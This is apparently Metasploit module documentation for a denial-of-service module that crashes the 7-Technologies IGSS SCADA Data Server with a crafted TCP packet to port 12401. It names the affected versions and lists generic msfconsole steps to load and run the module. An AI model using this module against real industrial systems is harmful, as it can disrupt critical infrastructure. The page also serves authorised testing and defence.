The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be brought down by sending a crafted TCP packet to port 12401. This should also work for version <= 9.0.0.1120, but that version hasn't been tested.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/dos/scada/igss9_dataserver
msf auxiliary(igss9_dataserver) > show actions
...actions...
msf auxiliary(igss9_dataserver) > set ACTION < action-name >
msf auxiliary(igss9_dataserver) > show options
...show and set options...
msf auxiliary(igss9_dataserver) > run
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